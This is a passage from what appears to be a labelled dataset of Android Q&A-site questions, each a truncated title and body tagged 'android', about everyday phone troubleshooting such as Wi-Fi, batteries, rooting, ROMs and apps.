Facebook Messenger app for Samsung Galaxy Note II? ",['android'] "Title: How to show chat head facebook android manually? Body: The new version of Facebook Messenger show a chat head when new messages arrived. When closed, I don't know how to show the chat head unless waiting for the next message to come ",['android'] "Title: Why does Facebook Home not require any permission? Body: I recently tried Facebook Home on my HTC One X. It sucked! So I uninstalled it after few hours. But the thing is that it does not require any special permission. Actually no permissions were required ... ",['android'] "Title: Vonage on Galaxy Note II Body: Can I make/receive Vonage calls on the Galaxy Note II via Wi-Fi and/or 3G-4G? As I am new to smartphones, in general, can I connect the Note II to my PC and download my music library? Is it LTE ... ",['android'] "Title: If I install a new ROM does that erase all my installed apps and dat? Body: If I have a rooted (Razr M in this case) and want to install an updated ROM (e.g., to upgrade to a new 'Droid OS version) will I need to reinstall my apps and restore my data? ",['android'] "Title: Sudden drop in battery life Body: I used to get average good battery life, i.e. for about 2 days without re-charging, since yesterday my Samsung S2 battery life has become terrible, I haven't installed any new applications. What ... ",['android'] "Title: My Samsung S3 I747 is always Roaming Body: I am having a large issue with my S3. I bought a brand new S3 from a trusted friend, he explained to me that it was with Bell originally, (original carrier). So when he sold it to me he also said he ... ",['android'] "Title: Samsung Galaxy Note 10.1 bluetooth pairing Body: Does the Samsung Galaxy Note 10.1 (model GT-N8010) allow for bluetooth pairing with Logitech H600 wireless headsets? ",['android'] "Title: Nexus 4 4.2.2 USB connection problem Body: First, Yes I have checked with other similar questions but havn't found one that could help me with my problem. I got a LG Nexus 4 running Android 4.2.2 and when I connect it to my Windows 7 64-bit ... ",['android'] "Title: How can I get back access to the media interface drivers? Body: After much waiting and tribulation, I've finally successfully unlocked tethering and installed Paranoid Android on my Nexus 7 3G device. In the progress, I had to tell Windows to ignore its default ... ",['android'] "Title: Missing application shortcuts Body: We got a generic Jellybean tablet, and some of the preinstalled apps (Chrome, Maps and others) do not appear in the app drawer for some reason. They do appear in the Google Play list of installed ... ",['android'] "Title: How to mount a remote FTP server as local folder/directory? Body: I would like to mount a remote FTP server as local directory (or drive) on Cyanogenmod and be able to access it like it was a regular folder and browse files on it. Ideally, an app would mount FTP as ... ",['android'] "Title: AutoSync is disabled in Android ICS LG P920 3D. How turn it on? Body: After upgrade Android from 2.3.x to 4.0.3 I can't turn on auto synchronization. When Im trying I get msg: AutoSync is disabled. Synchronization is enabled manually by server policy. In Settings -> ... ",['android'] "Title: How to get the Enter (Return) key in Messaging (MMS) app - Jelly Bean Body: I have JellyBean 4.2 and my friend also has the same. I have been fond of using the ""Enter"" or ""return"" key while typing messages. I like paragraphs in messages. But I have a ""Smiley"" Button. My ... ",['android'] "Title: Widget to show calendar events and TODO items merged in a single agenda? Body: The Calendar application works with Google Calendar and its agenda style is really useful. Nevertheless, for some reason, it does not work with Google Tasks, so I use GTasks that works with the Google ... ",['android'] "Title: Motorola XT610 (Droid Pro) Root Body: I've tried rooting my phone using z4root and after the entire process, I still get access denied with the su command in abd shell. I followed the instructions at droidforums. The first result from ... ",['android'] "Title: External HDD not recognized by tablet Body: I have an external 320GB HDD with Backtrack on it, partitioned as follows: -partition '/' ext4 -partition '/home' ext4 -swap -free partition fat32 The problem comes when I connect it to my tablet ... ",['android'] "Title: All files corrupted after Ext. SD encryption. external SD card gets encrypted due to Mail server Body: I have a Galaxy Note-2. Android version 4.1.2. After I sync into my Organisation's email on my phone it used to encrypt my SD card and External SD card. This never rendered my data inaccessible -- ... ",['android'] "Title: Bluetooth audio connection confirmation with Tasker Body: Just bought Tasker, my goal is that when I get into my car I have a Jabra Freeway, it has a motion sensor and turns on when it detects motion. But my VZW Galaxy Nexus won't always connect. I get tired ... ",['android'] "Title: How to keep display always off during the call on HTC Sense 4.1 (Android 4.0.1)? Body: My wife has a problem with HTC Desire X (HTC Sense on Android 4.1) that during the call sometimes (in ~10% cases) the screens goes on for no reason. This cause phone calls to be canceled, loud speaker ... ",['android'] "Title: Fake/Dummy/mock internet for spam apps [duplicate] Body: There are a lot of apps which require internet to run whether be spam or good apps. Is there any way to make them feel there is internet connection without actually running internet kind of fake/mock ... ",['android'] "Title: 3G Connection Problem Body: I have try to share my Samsung note 10.1 (Model Number : GT-N8000) portable hotspot last night but it fail. After that, i cannot access to internet via data network mode(the 3G/H+ sign disappear next ... ",['android'] "Title: Simple way to toggle between 2G and 3G connection Body: TL;DR Usually, I have my device locked to ""2G only"" for multiple reasons: saving battery-life no need for ""high-speed"" to simply be informed about new mail or doing the little contacts/calendar ... ",['android'] "Title: Tablet Genesis 7240 + Android + Bit Web Server dont work Body: We bought GENESIS 7240 tablets, with Android 4.0.3, and installed Bit Web Server -- but it is not working. It works fine on my Galaxy Note -- but we need it to work on the GENESIS tablet, to use with ... ",['android'] "Title: Is there a way to type German and French characters from the stock keyboard? Body: I want to type French and German accents and stuff using some kind of add-on to the stock keyboard. I don't want to switch between boards. I see there are a lot of keyboards in the Play store but I ... ",['android'] "Title: How to Retrieve SD Card Files via fastboot or recovery? Body: I have a Nexus 4 (LG E960) running rooted stock 4.2.2/JDQ39. The phone fell from a foot high and the screen cracked. The touchscreen no longer works. I have a full Nandroid (TWRP type) backup under ... ",['android'] "Title: How to turn off Yahoo Mail notifications in 4.1.2.? Body: I just upgraded my Android OS to 4.1.2. and the Yahoo Mail is pushing audible notifications again (I had disabled them in the previous version of OS). When I go into the app, there is no settings in ... ",['android'] "Title: Google maps doesn't have data connection Body: Ever since upgrading my Nexus 4 to CyanogenMod 10.1-20130304, Google Maps behaves improperly. I have not noticed the problem with any other app. I can open the Maps app, and it will show me where I ... ",['android'] "Title: Taking Screenshots in Micromax Ninja A89 ICS Mobile Device [duplicate] Body: I have a new Micromax Ninja A89 Mobile phone which is not rooted. I want to be able to take screenshots in my mobile without rooting. What should I do? I have tried many of the freely available apps ... ",['android'] "Title: Why does the google web browser time out when launched on a HTC 1s? Body: Just recently started to occur. After launching a second time it fires right up. It happened after a facebook update so it seems. ",['android'] "Title: How to make volume buttons on earphones/headphones work with Android? Body: I'm on the hunt for a great sounding, non-in-ear set of headphones with working mic, play/pause, and volume buttons. I have Bang & Olufsen's EarSet 3i, which are among the best sounding ... ",['android'] "Title: connect to specific wifi only Body: I want my device to be connected to a certain wifi network only. Lets assume WiFi named ""xyz"": so my device should connect to this particular ""xyz"" network only. It Should not connect to any other ... ",['android'] "Title: disable two startup logos on android devices startup Body: There are two logos on my android device(s) showing while loading device. How to remove them showing? First one is general android logo Second one is vendor specific. I need either of them to be ... ",['android'] "Title: If I flash a custom recovery img, will I be able to boot the normal old system? Body: Can I flash a custom recovery (say, the one from Replicant with heimdall flash --kernel path/to/recovery.img, or ClockWorkMod) and then be able to boot the old system? Without reinstalling the main ... ",['android'] "Title: Tamil Font not supporting in Facebook and tamil websites Body: I am suresh from riyadh, sAUDI ARABIA last week i bought Samsung-Galaxy-S-DUOS-GT-S7562 mobile .. i am facing a problem for Tamil font not supporting in facebook and tamil news.. Please help me.. ",['android'] "Title: my S3 won't connect to my home wifi Body: I first go into settings then I go into and turn on Wi-Fi but every time I try to connect to my Wi-Fi it say ""connecting, authenticating, disabled "" and all my other devices connect perfectly ",['android'] "Title: Sorry! the process com.android.phone has stopped unexpectedly. Please try again. force close Body: Why does this keep appearing on my phone which cuases my network to go off and on. ",['android'] "Title: How to make Galaxy Tab as portable WiFi hotspot? Body: I am a new user of Samsung Galaxy Tab 2 (GT - P5100). Is there any way to use my Galaxy Tab as portable WiFi hotspot? ",['android'] "Title: video recording distorts vertical lines Body: Here's a problem I've noticed on all Android, from old 2.2 to the new demo tablets at the store: When in camera video mode, record a column or a pillar, and slightly rotate the device back and forth ... ",['android'] "Title: Flashing Samsung Galaxy S3 Body: I got my Samsung Galaxy S3 but it was bought from South Korea. At first it was all Korean but after some time(or some tweaks) I managed to set it to English. (No, I am not A Korean). Can I flash the ... ",['android'] "Title: gTalk status icon on the notification bar Body: Instant Messenger apps such as Skype or Windows Live Messenger will display an icon on the notification bar with indication on the connection status. (I know gtalk is supposed to be always on after my ... ",['android'] "Title: Can Android phones/tablets access W-Fi network drives? Body: There are many WLAN routers currently available which have a USB port to connect external HDDs. These are than easily available on Windows machines directly in Windows Explorer, they look like common ... ",['android'] "Title: Whats the use case of proximity sensor? Body: Can anyone explain me whats the use case of proximity sensor. What if my phone's approximity sensor stop working or get damaged. What are the problems will I face. PS: I am just curious to know. ",['android'] "Title: What needs to be set up in an Android device from another region for a Russian user in Russia, and how? Body: We've got a Samsung Galaxy S from another region (China or Korea). What needs to be set up in it for a Russian user in Russia? ",['android'] "Title: Samsung Galaxy Note N7000 Died Body: I updated my phone with Odin v.3.04 and now it is not working anymore. I took out the USB cable and I removed the battery while the phone was in download mode. When I went to turn my phone on again, ... ",['android'] "Title: Use Galaxy S2 / S3 as router for PC lan gaming Body: I have a computer with no network interfaces (the only one it had went faulty). My friend's PC's network interfaces are working fine. We want to play PC LAN games, but when I set my Galaxy phone to ... ",['android'] "Title: Whatsapp, Keeping the number on the new phone but without the old sim card Body: Whatsapp, Keeping the number on the new phone but without the old sim card. Ok the situation is I love my old number and to be honest don't want to ask everybody to change my number again and again. ... ",['android'] "Title: How is WhatsApp able to receive messages when not in use? Body: I'm curious about how WhatsApp is able to receive messages when not in use. I mean, I understand that WhatsApp works using the Internet connection rather than the cellphone network. Imagine that I ... ",['android'] "Title: How to save Facebook and Skype information to Google contacts? Body: I've looked around this site and in spite of what I read I can't figure out the following: How do I save my merged contact information into a Google contact? For instance, I have a friend F who has ... ",['android'] "Title: Do I need to wipe anything before restoring a full nandroid backup? Body: I'm used to wiping everything when installing a new ROM, but I would like to know if a nandroid restore automatically wipes out the partitions it is recovering. When I run a restore, I see some ... ",['android'] "Title: selecting a chime in Caynax Hourly Chime Body: In Caynax Hourly Chime when I select chime option a dialog with a Search button appears. But while I have some sound file in my SD it do not show them. How can I choose chime file in this app? ",['android'] "Title: *#7284# not launching phoneutil Body: My tablet is not getting connected through USB. It's showing me the error"" ""USB device not recognised"" On one forum I read to dial *#7284# and it will launch Phoneutil. But in my case it's not ... ",['android'] "Title: On system restore, will I lose my software updates? Body: I have a Samsung Galaxy S3 and have it updated to 4.1.2 from ICS. If I restore my phone to factory settings (either by going to settings or by rooting), will I lose my updates? If so, is there any ... ",['android'] "Title: No common file attachments using Android 4.2.2 Body: I can't seem to attach a simple Word or Excel file using Gmail, Hotmail or a local email client. This is when using the latest versions of Chrome, Firefox and Dolphin browser. Being in China for half ... ",['android'] "Title: Cloning an application with its full data store between devices Body: Given a generic application I would like to transfer it, full with its own data, to another device or to the emulator. After restoring the application and its /data/data/com.app directory it should ... ",['android'] "Title: Google play downloads app and then tells me cannot load as no devices Body: I have an android tablet and finally got it to connect and stay connected to wifi however the google play store will take its time and download to tablet but it never shows in my download file and ... ",['android'] "Title: Can I install Google Play and run Android apps on my iPhone or iPad? Body: I have an iPod Touch 4G (this is where you all start screaming at me). But I like the apps on Google Play. So if I downloaded a Google Play app on my computer and sent it to my iPod, would it work? ",['android'] "Title: Voice command when switching pages on home screen Body: On the main home screen when I slide between the different pages, a voice says ""page 1 of 2"" ""page 2 of 2"" etc. This also happens when my phone is on silent mode and out of driving mode. How can I get ... ",['android'] "Title: Xperia V touchscreen doesn't respond Body: I ordered this brand new xperia V a few days ago and recieved it today. everything's working fine (the power key, volume buttons) the phone starts up good but the phone doesn't respond to touch ... ",['android'] "Title: Android Chrome playing video shows blank screen, but performs well when full screen Body: I have a tablet and an android tv stick. Both are on OS 4.1 I have an mp4 video file. On my tablet, the mp4 plays well inside the chrome browser. But on my android tv stick, it shows a blank black ... ",['android'] "Title: How to use an USB 3G modem data connection with an Android phone (Galaxy Nexus)? Body: I own a Galaxy Nexus phone and i'd like to know if there is a way i can use an USB dongle to provide it with an Internet connection. I imagine I will need some kind of adapter (and some Google ... ",['android'] "Title: How to remove pre-installed apps without rooting? [duplicate] Body: I got a new Canvas 2 today with some inbuilt paid (have to manually pay for them) games such as Cricket Fever. It gave me 2 free trials, but I don't want to pay for it. Is there a way for me to delete ... ",['android'] "Title: HTC One and Sendgrid SMTP outgoing mail server not working Body: I am using Sendgrid SMTP server for my emails on the default Mail cleint and I've set up the account on my HTC One android phone. The problem is it doesn't send emails, it keeps saying authentication ... ",['android'] "Title: Can Android tablet read external hard drive and if so which formats? Body: Can an Android tablet read external hard drives and if so which formats? I have a Samsung Note and tried accessing a hard drive but failed. I've been told that if I format my 1TB hard drive to FAT32 ... ",['android'] "Title: SSH server when phone is sleeping: possible? Body: I an running the Dropbear SSH server on CyanogenMod 7.2. Is there any way to setup my phone so that I can connect to it over wifi even when it is in sleep mode? I don't mind if there is a small hit ... ",['android'] "Title: Streak 5 rooted 2.22 no data across USB only recharging Body: Tried both OEM USB cables that produce charging but no data, no sync, PC(win7) does'nt even recognize its there. PC suite installed on PC; tried Dell version and Nero. Seems like there should be a ... ",['android'] "Title: Back up files on a pattern locked phone Body: A friend of mine tried to guess my pattern so my phone got locked, asking for gmail account and password. The thing is that i used to use a program for keyboard symbols cause one of the symbols there ... ",['android'] "Title: Android is not able to run .exe file Body: I have just downloaded uTorrent on my Galaxy S running Android 2.3. The .exe file has been downloaded and is in the download folder, but when I open the download folder on my sdcard and click it, it ... ",['android'] "Title: New files in Download directory Body: I see the following two files in the Download directory: Flash_Player.apk and securedownload.bin. I am sure for 100% (well, for 99%) that I didn't download them intentionally. What are these files, ... ",['android'] "Title: How do I configure Dropbox in my Galaxy S III so that it does NOT automatically upload every photo/video I take? Body: How do I configure Dropbox on my mobile - Galaxy S III so that it does not automatically upload every photo and video I take? ",['android'] "Title: After rooting my verizon Galaxy S3, I have no data or cellular connection? Body: So, when I first rooted my phone, everything worked fine. I had used CM 10.1 (Or at least some version of Cyanogenmod). Being curious, I wanted to try other ROMs. I then installed MUIU v5. Didn't like ... ",['android'] "Title: auto logoff from all apps on android Body: i want a functionality where i can log off from all the apps on android ie: auto logoff from skype , facebook , yahoo. Is a some app already available for this or some easy way to implement this. I ... ",['android'] "Title: Does Facebook Home uninstall cleanly? Body: I am hardly a regular Facebook user, but am curious about Facebook Home – mostly curiosity about its design and implementation. I have a Nexus 7 running Jelly Bean 4.2.2. If I were to install it, can ... ",['android'] "Title: How to download pictures from Google Nexus? Body: With T-Mobile myTouch 4G and T-Mobile's default Android 2.2, I can download the camera photos by pairing the phone with a computer through Bluetooth, and using an integrated file browser functionality ... ",['android'] "Title: If I root a Droid ( Razr M) does it get factory reset (erasing all installed apps, etc.)? Body: I'm considering rooting my Razr M. If I do that but don't install an alternate ROM, will this erase anything on my phone or simply ""unlock it""? ",['android'] "Title: Why is my phone vibrating incessantly during calls? Body: Yesterday, my phone started vibrating once every 15 seconds or so during phone calls. I'm running cyanogenmd 7 on HTC thunderbolt. I looked in settings and there is only option to vibrate every 45 ... ",['android'] "Title: How can I disable caller ID reader on my Galaxy S3? Body: I am unable to disable the caller ID reader. The driving mode, and speak caller ID are all unchecked. The only way I could find is Settings ~> Accessibility ~> Turn off all sounds. That is more like ... ",['android'] "Title: Why are android devices equipped with only (relatively) little RAM? Body: Currently, I can only find devices (phone, tablets or sticks) that are equipped with a maximum of 2GB RAM. While this might be sufficient for current applications, I do wonder why there are no ... ",['android'] "Title: Xoom stuck during rooting process Body: Rooting my Xoom normaly, sometimes reboot and marked with USB debugging option. I skipped Google account login/creation process then did another reboot, but this time the device got stuck on M logo. ... ",['android'] "Title: Nexus 4: Lost superuser rights after an update to 4.2.1 - how can I get them back? Body: A couple of weeks ago, my rooted Nexus 4 was updated from 4.2 to 4.2.1. Now it still seems to be unlocked (open lock symbol while booting), but I've lost my Superuser privileges. Is there any way I ... ",['android'] "Title: Android GTalk, Chromium Gtalk, Gmail Gtalk - how can i send files such as image, music, video clips like whatsApp? Body: I am using on my Android Gtalk where i can only do chat text send and receive. But how can i do all the features of WhatsAPP from Gtalk? Features like: file transfer (image pictures, music, video ... ",['android'] "Title: Why do my browser's contents disappear each time I leave the page Body: So for example, I am looking at a web page on my Samsung Galaxy Nexus, and the phone rings. After I am done with the call, I go back to the browser app. I even go through the menu view where you see ... ",['android'] "Title: How to adjust ringer volume while listening to music? Body: When listening to music on my phone (running Android 4.0.4 ICS), I am unable to adjust the ringer volume with the hardware volume controls. Pushing either of them adjusts the music volume and not the ... ",['android'] "Title: Wrong Phone Number under Status [duplicate] Body: Please tell me how do i change my phone number under Status in my phone, it says my old number not my new number, so when i send text, pictures and audio it says received from old number on receivers ... ",['android'] "Title: Why is there no network in my new Samsung Galaxy S2 when I insert my Prepaid Sim Card? Body: I bought a new Samsung Galaxy S2 and insert my Prepaid Singtel Sim card. When i turn it on, it doesn't have any network and states 'no service' ",['android'] "Title: Cannot access all my folders from my SDCard via USB Body: I plug in the USB cable to my computer. I click on Open Device to view files, I get to the root of my SDCard. The problem is that there is a directory missing. I can see it with my file manager on ... ",['android'] "Title: How to install cyanogenmod on LG P690 optimus net: how to know which ROM? Body: I would like to install an android 4.x ROM on my Optimus Net (P690) Android 2.3.4. When I go to the CyanogenMod downloads page at http://get.cm I see various phones but not mine. However this youtube ... ",['android'] "Title: HTC Explorer wallpaper display problem [duplicate] Body: I have HTC Explorer, when I download a wallpaper from net and try to set it as wallpaper, the phone first asks me to crop it, so I crop it, but some portion from all the four sides of the cropped ... ",['android'] "Title: Use nvflash to install recovery compatible with CM10.1 Body: I have a Dell Streak 7 that had some sort of weird ""read only"" glitch from the factory. I recently was able to successfully get CM10.1 on it using the files and instructions (nvflash bat file) found ... ",['android'] "Title: Stop Applications Loading [duplicate] Body: How can I stop so many applications loading, and slowing down the system. When I clear the Ram I usually see that at least 16 applications have been running. What for? ",['android'] "Title: Gallery images appearing in mixed up order Body: I have an HTC One X with stock Android 4.1.1. As you know, Android 4.1 introduced a ""nice"" feature to the gallery which allows grouping images by events. Unfortunately, after this update I started to ... ",['android'] "Title: Format SD card after playing with fdisk (No card reader) Body: After playing with partitioning using FDISK (from busybox) i finished and now i want to format it back to whatever is usable under Android. Using same FDISK via Android console i deleted all ... ",['android'] "Title: What does TRWP backup include? Body: If I would take a backup via TRWP, does it include all my apps, app data, messages, contacts or it would just take backup of the ROM only, so I could get a fresh ROM with factory restored when I ... ",['android'] "Title: Nexus 7 randomly reboots and resets date to 1999 Body: Twice now my Nexus 7 has randomly rebooted while it was charging and the date was changed to December 31, 1999 and the time has been changed; this time it was set six hours ahead. Does anyone know ... ",['android'] "Title: AutoMount ext2 SD-card on Huawei U8350 (Android 2.2.2) Body: On the Huawei U8350 (Android 2.2.2) the init scripts all appear to be in the root partition -- which actually is a ram disk (initramfs), so any changes to it aren't persistent across reboots. Is ... ",['android'] "Title: How can I configure Android to login to an ISA proxy server? Body: I see that if I did a long touch over a Wifi network, I can specify some proxy settings. In my company we use a Isa Proxy server, and each user has to login through domain server. Is there any way to ... ",['android'] "Title: LED on Xperia Z only in operation while charging Body: Using the LED to know when a notification is available is of great use to me, but my new Sony Xperia Z appears to only turn on the LED notification light while it is on charge. It turns orange to say ... ",['android'] "Title: What information does stock Android send to Google by default, and how do I opt-out? Body: I'm about to buy my first Android phone. My understanding is that, in order to download apps and get updates from Google Play, I need to be permanently signed into a Google account that's linked to my ... ",['android'] "Title: Sony Xperia Tipo JB installation unsuccessful Body: I was trying to install JellyBean on my sony xperia tipo and have suddenly come to a halt. I was following this tutorial. The only thing that differed here is I obtained the latest JB from ... ",['android'] "Title: How to move application to SD card in samsung galaxy s duos Body: How to move application to SD card in samsung galaxy s duos. I have tried some application from Google Play but did not succeed. Plz help me ",['android'] "Title: Samsung s-planner as interface to google calendar, miss 3-day layout Body: S-planner app lost 3-days layout after last update. That made me cry. I want to solve it with anyway, change calendar app, or rollback to old s-planner version, or something else? Please point me ... ",['android'] "Title: How to use “drag & drop” on websites? Body: I use the adroid stock-browser and I'd like to play chess using e.g. http://www.shredderchess.de/schachproblem-des-tages.html Unfortunately you have to drag and drop the pawns. I tried several ... ",['android'] "Title: Android does not boot because of missing apk files in system/app folder Body: I moved the question from http://stackoverflow.com/q/15872848/1665807 I have a rooted Huawei u8825d phone.I want to know if there were no apk files in ""/system/app/"" folder. So,I moved these apk ... ",['android'] "Title: Nexus 7 charges very slowly, even with 2 amp chargers Body: I'm facing a rather painful issue with the battery life/charging issue with my Nexus 7 (4.2.2) When idle and plugged into my 2A charger with the stock USB cable, it charges VERY slowly. I'd say ... ",['android'] "Title: Galaxy Nexus ICS Does't remember wifi Passwords - ICS 4.2.2 Body: Anybody else have this issue? It's freaking annoying as every time i revisit somewhere and want to use their wifi, i have to get the password and enter it in again. Any suggestions on how i can ... ",['android'] "Title: Modify 30 second incorrect PIN delay Body: How can I modify/disable the 30 second delay after trying the incorrect PIN 5 times? Device is a nexus 7 rooted running SmoothRom 4.4 ",['android'] "Title: Can I install Android on my Samsung Omnia W8350 - windows 7 phone? [duplicate] Body: I have a samsung omnia w 8350 with windows 7.5, I want to install Android OS on the phone, can anyone help? ",['android'] "Title: Enable Picasa albums in Android gallery Body: I can't enable Picasa sync. I checked out this question but on the 3rd step I can't download my image. Screenshot: I've enabled all Google syncronizations and installed the G+ app. I use ... ",['android'] "Title: Custom ROM to improve Galaxy I9000 battery life (if mostly standy)? [closed] Body: I have a Galaxy S I9000 (2.3.6, Gingerbread.XXJW4) and use my phone minimally (mostly just on standby). I would like a least a couple of days, and hopefully a week or two between recharges if possible ... ",['android'] "Title: Good WIFI signal but cannot browse Body: I have android 2.3.4 , jxd S7100. I have full WIFI signal, but I can`t browse and it seems that it can neither send or receive data. In the web browser, I e.g. get the following error messages: ... ",['android'] "Title: Is it possible to reproduce munsell colours on an android device? Body: Given a wide variety of devices, is it possible to address the colour spaces such that a accurate reproduction of munsell colours are shown? If it is possible, what applications can best be compared ... ",['android'] "Title: Bootloop using Sony Xperia Arc S (LT18i) Body: Hey guys so I'm in boot loop. Yes I know there are many guides all over saying how to fix it but I have tried many of them and they didnt work. What happens is I start the phone, it shows the boot ... ",['android'] "Title: Volume limit specific app? Body: Is there an app that will let me set a maximum volume on JUST Spotify? Spotify at 100% is a LOT louder than YouTube at 100%. I never want to listen to Spotify at 100%, but occasionally I do want to do ... ",['android'] "Title: What information is available to an app from the magnetometer? Body: I would like to know what other functionality is provided by the magnetometer inside android devices besides allowing applications to display a compass. Can an app do anything else with it besides ... ",['android'] "Title: Sony xperia ringtone Body: I am using this mobile for over a week now and accidentally, I tapped on open (always open) on my ringtone such that, now I cannot set any MP3 ringtones and stuck with default Sony ringtones. Is ... ",['android'] "Title: Sync Google contact photo to Android phone Body: I created a contact a while back of a friend, just her name and mobile number. Today I added her Gmail address to the phonebook in her contact card. When I go into Gmail Contacts I see her Google+ ... ",['android'] "Title: Phone will not let me ENCRYPT Body: I want to encrypt my apps and personal data, such as passwords to email etc. If I have factory reset my phone (GS2sprint) and it is fully charged (over 90%) and plugged in. So I went to ... ",['android'] "Title: How to keep orientation when submitting a Twitter photo using Plume Body: I have a rather annoying issue with the Plume twitter client, whereby when submitting a photo which looks correct in the Gallery, it's orientation is wrong on when uploaded to Twitter. Android ... ",['android'] "Title: Tasker Profile Question Body: So i would want to create a profile which clear's memory and clear's recent tasks when an app is closed (example: Chrome) . Is it possible to do it without root access? My phone is a GS3/4.1.2 JB ",['android'] "Title: Problems with the Clock Body: The clock on my lock screen is showing the correct time but the clock in the upper right hand corner is an hour behind how can i fix this? ",['android'] "Title: Rooting Desire permanently Body: If I root my Desire permanently can I reset it to default manufacturers settings by installing official android version? ",['android'] "Title: Nexus 4 does not play notification sounds sometimes. How to fix? Body: Nexus 4 no notification sounds being played sometimes even though volume settings are proper. But sometimes no incoming/outgoing voice. If the device is restarted then everything works fine. Everyday ... ",['android'] "Title: Connect to external device via bluetooth. Who's master/slave? Body: Quick intro: We have an external device (it's not android) that we usually connect to PCs via Serial Port->USB converter. But now we want to use also Android tablets to send commands to that external ... ",['android'] "Title: How to remove pre-installed apps from Xperia E? Body: I recently bought a Xperia E and since I am not a Facebook user I'd like to remove it from my phone. That also applies for Google+ and other stuff which is installed on my phone by default but I am ... ",['android'] "Title: Updating Unsuccessful, but Phone memory reduced Body: I have a Samsung Galaxy Ace S5830i rooted smartphone. I tried to update to the latest firmware update by the default update option in setting menu and it started downloading update file of 26MB. Now ... ",['android'] "Title: WiFi Connection problems Samsung Galaxy S3 mini Body: I have a Samsung Galaxy s3 mini. The wi-fi is turned on and the phone is not detecting my Trendnet 3G router at home. All my other devices e.g. laptop and BlackBery's are connecting seamlessly with ... ",['android'] "Title: How to push website links from phone to chrome/other browser? Body: I can't seem to find an app for this. I have a Samsung Galaxy S3. ",['android'] "Title: If I have Android can I respond to group messages from iPhone users? Body: I have Android phone and use Handcent SMS. I have gotten group texts from iPhone users who use iMessage and I can see what everyone is saying, but when I try to respond I only get a loading circle ... ",['android'] "Title: Non-root backup with multiple users (non-owner or secondary users) Body: I really did spend some time researching this and was surprised to not find any answers (this great thread doesn't address this problem at all.... I'm trying to recover from my unfortunate situation: ... ",['android'] "Title: T-Mobile Prism won't boot Body: My t-mobile prism, will not turn on. It is unrooted. The only thing that happens is the backlight for the screen comes on and the buttons light up. When I try and boot it into recovery mode. Nothing ... ",['android'] "Title: Why does the manta (nexus 10) not “mount” with MTP selected? Body: Two android (nexus 4, and nexus 10) devices with cyanogenmod (nightly) are connected to windows 7. When the nexus 4 is connected windows shows it in explorer and it is possible to transfer files ... ",['android'] "Title: How do I enable the character count when typing an sms? Body: I have a Sony Xperia U with Android 2.3.7 Gingerbread. I don't know exactly if the SMS composer is Android's or belongs to Sony's launcher, so I don't know if the question applies to all Gingerbread ... ",['android'] "Title: What does the “VimTouch Full Runtime” do? Body: I just installed VimTouch; it works as well as you expect a text editor to work on a phone. What is the point of the separate ""VimTouch Full Runtime"" app? ",['android'] "Title: Android phone taps touchscreen on its own Body: I have an LG P690 Optimus Net. The issue I am having is that the phone often enters a state where it keeps on pressing the touchscreen's buttons by its self, and I have to press the back button ... ",['android'] "Title: How can I install APK file on Bluestacks app player? Body: I have created an Android application using Eclipse, and now I'd like to install the APK on Bluestacks which is running on Windows 7. How can I install an APK on the Bluestacks player? ",['android'] "Title: How do you “Share via” email & wifi option from gallery ? It's missing Body: I recently upgraded to ICS (4.1.2) and have lost the ability to share photos from the gallery via email and wifi. The option was there before the upgrade. But not now. Is this a bug ? ",['android'] "Title: Mistake on facebook messenger(spam) Body: I was texting with my friend, but I didn't lock my keyboard. I marked her as spam. Do you know how I can get back notifications from her messages? ",['android'] "Title: Formatting Android storage “zero out” technique Body: I have an Android mobile (Galaxy S3), and am really worried that my corporate information will be retrieved after a reset. I've seen shared video showing it is possible to recover data after hard ... ",['android'] "Title: remove pic in quick setting grid Body: In the ""quick settings"" grid you get by pulling down the right-hand end of the notification bar, the top-left item is a photo. I'd like to edit or remove this photo, but when I tap it, it says ""The ... ",['android'] "Title: pendrive was working well on tablet, before formating..but now not showing data Body: My 8 GB pendrive was working well on my android 2.3 tablet, before formating..but now not showing data on usb through tablet(but showing all files on PC/Laptop); Yesterday I've formated that pendrive ... ",['android'] "Title: Upload PDF file to Gmail Body: After downloading a PDF file from Gmail with the help of ASTRO File Manager in my Samsung Galaxy S III, I tried to find the PDF file to attach in the email (Gmail). Unfortunately, only ... ",['android'] "Title: What kind of power saving smarts does Android already have? Body: I just d/l tasker and it's been really interesting (although not as interesting as I would've liked since I feel a lot of the good features require a root). I would like to optimize my Galaxy s3 so ... ",['android'] "Title: How to join more than 5 contacts Body: I have a Galaxy S3 running Jelly Bean 4.1.2 It seems like I can only join a maximum of 5 contacts together; e.g. a contact with a google account, a facebook account, a twitter account etc... When I ... ",['android'] "Title: Three has blocked my tethering Body: I have a contract with three, which gives me unlimited data me mobile is sg2 gti9001. Every time I try tethering I get a pop up saying I can't tether. I have tried several apps but with no joy. Does ... ",['android'] "Title: Does Google provide a global games achievements system like Game Center? or Xbox LIVE? Body: Does Google Play offer an achievement tracking system similar to Apple Game Center, Xbox LIVE, and Steam? For keeping track of achievements, game progress, time spent in a game, what your friends are ... ",['android'] "Title: custom map cache for use with Google Android in off-line mode Body: Does anyone know how to build a basemap cache which can be used by Google Maps for Android and which can read in an off-line mode? THis would be in place of the normal Google Street map. I have an ... ",['android'] "Title: I cannot use a USB cable to access my version 2.3.6 phone's SD card with Ubuntu 12.04 LTS Body: I have a problem. Googling shows that other people have similar problems, but unfortunately the solutions that worked for them didn't work so me, so I'm going to have to ask myself. I have a (rooted) ... ",['android'] "Title: Samsung Galaxy S3 Email does not refresh read status Body: I just got the S3. The Samsung email app was appropriately pulling in new emails, but if I have already read them in Gmail, it does not reflect that in the Samsung app. I've been changing settings ... ",['android'] "Title: Will bootloader unlocking provide access to all the apps in the Play Store? Body: My flyer doesn't allow few apps to be installed from the Play Store as it shows ""This app is not compatible with your device"" and this incompatibility is not due to OS. If I get the apk of this app ... ",['android'] "Title: Losing network operator on Samsung Galaxy SIII mini Body: For some time now (I think it's from the latest Android update) I have this problem, that time to time (on daily basis) people can not reach me, like I would lose connection to the Network. I get an ... ",['android'] "Title: app not available in country, how to change contry setting o galaxy tab2 [duplicate] Body: A friend is visiting and want to use her galaxy tab to browse yelp. When she agreed to one of the millions of pop ups yelp.com shows pledging to download the app, she gets denied with a message that ... ",['android'] "Title: Home screen icon for terminal program? Body: I'm using terminal-ide http://code.google.com/p/terminal-ide/ which is basically a terminal for android with all sorts of utilities. One is able to create bash scripts for example. Is there a way to ... ",['android'] "Title: How do i use a lockscreen from another rom Body: I want to use only the lock screen from another rom for the same phone. I own Micromax A52. And I am using Xzoom v3 as my rom with Dark Angel theme.(to be precise if anyone knows and if it matters ... ",['android'] "Title: How can I edit a prior predictive search? Body: When typing a URL into my Cyanogenmod phone's browser, as I type, it suggests URL(s) from prior browsing that match what I have typed, 